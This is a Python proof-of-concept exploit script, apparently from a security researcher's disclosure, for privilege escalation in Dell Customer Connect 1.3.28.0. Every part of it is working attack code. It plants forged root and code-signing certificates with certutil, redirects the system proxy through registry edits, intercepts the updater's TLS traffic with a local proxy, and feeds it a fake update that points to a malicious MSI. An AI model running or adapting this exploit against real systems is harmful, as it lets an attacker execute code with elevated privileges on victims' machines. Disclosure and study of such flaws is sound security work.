from _winreg import *
from threading import Thread
import os
import subprocess
import hashlib
import SimpleHTTPServer
import SocketServer
import ssl
import httplib
import time

msi_file = "exploit.msi"
cert_file = "otbs.crt"
signing_file = "code.cer"
file_port = 5555
proxy_port = 7777

print "Dell Customer Connect 1.3.28.0 Privilege Escalation"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

# Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/
class ProxyHandler(SocketServer.StreamRequestHandler):
	def __init__(self, request, client_address, server):
		SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)

	def handle(self):
		global xml
		line = self.rfile.readline()
		for l in self.rfile:
			if l == "\r\n":
				break
			
		if "GET /api/AppConfig" in line:
			conn = httplib.HTTPSConnection(self.host, self.port)
			print "\n[+] Send XML to service"
			self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)
		elif "CONNECT otbs.azurewebsites.net:443" in line:
			socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)
			self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")
			host, port = self.request.getpeername()
			self.host = host
			self.port = port
			while True:
				try:
					socket_ssl.do_handshake()
					break
				except (ssl.SSLError, IOError):
					return
			print "\n[+] SSL Established with otbs.azurewebsites.net"
			self.request = socket_ssl
			self.setup()
			self.handle()

class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass

def add_to_store(name, file):
	output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]
	if "\"{}\" already in store".format(name) in output:
		print "[+] Certificate {} already in store".format(name)
	elif "\"{}\" added to store".format(name) in output:
		print "[+] Add certificate {} to user root store".format(name)
	else:
		print "[-] You need to click OK in order to add cert to user root store"
		os._exit(0)


if not os.path.isfile(cert_file):
	print "[-] Missing SSL file"
	os._exit(0)

if not os.path.isfile(signing_file):
	print "[-] Missing code signing file"
	os._exit(0)

add_to_store("otbs.azurewebsites.net", cert_file)
add_to_store("dell inc", signing_file)

def sha256_checksum(filename, block_size=65536):
    sha256 = hashlib.sha256()
    with open(filename, 'rb') as f:
        for block in iter(lambda: f.read(block_size), b''):
            sha256.update(block)
    return sha256.hexdigest()

def file_server():
	Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
	httpd = SocketServer.TCPServer(("", file_port), Handler)
	httpd.serve_forever()

if not os.path.isfile(msi_file):
	print "[-] Missing msi file"
	os._exit(0)

sha256 = sha256_checksum(msi_file)
print "[+] MSI hash: {}".format(sha256)

print "[+] Set Proxy Server in registry"
key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)
SetValueEx(key, "ProxyServer", 0, REG_SZ, "127.0.0.1:{}".format(proxy_port))
SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)
CloseKey(key)

print "[+] Start file server on port {}".format(file_port)
t1 = Thread(target = file_server)
t1.daemon = True
t1.start()

xml = "<UpdateResponse xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><LatestVersion>9.0.0.6</LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)

print "[+] Start proxy server on port {}".format(proxy_port)
proxy_server = ThreadedHTTPProxyServer(("127.0.0.1", proxy_port), ProxyHandler)
t2 = Thread(target = proxy_server.serve_forever)
t2.daemon = True
t2.start()

log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)

print "[+] Waiting for execution ",

while True:
	if os.path.isfile(log_path):
		print "\n[+] Looks like msi file was executed, exiting"
		os._exit(0)
	time.sleep(3)
	print ".",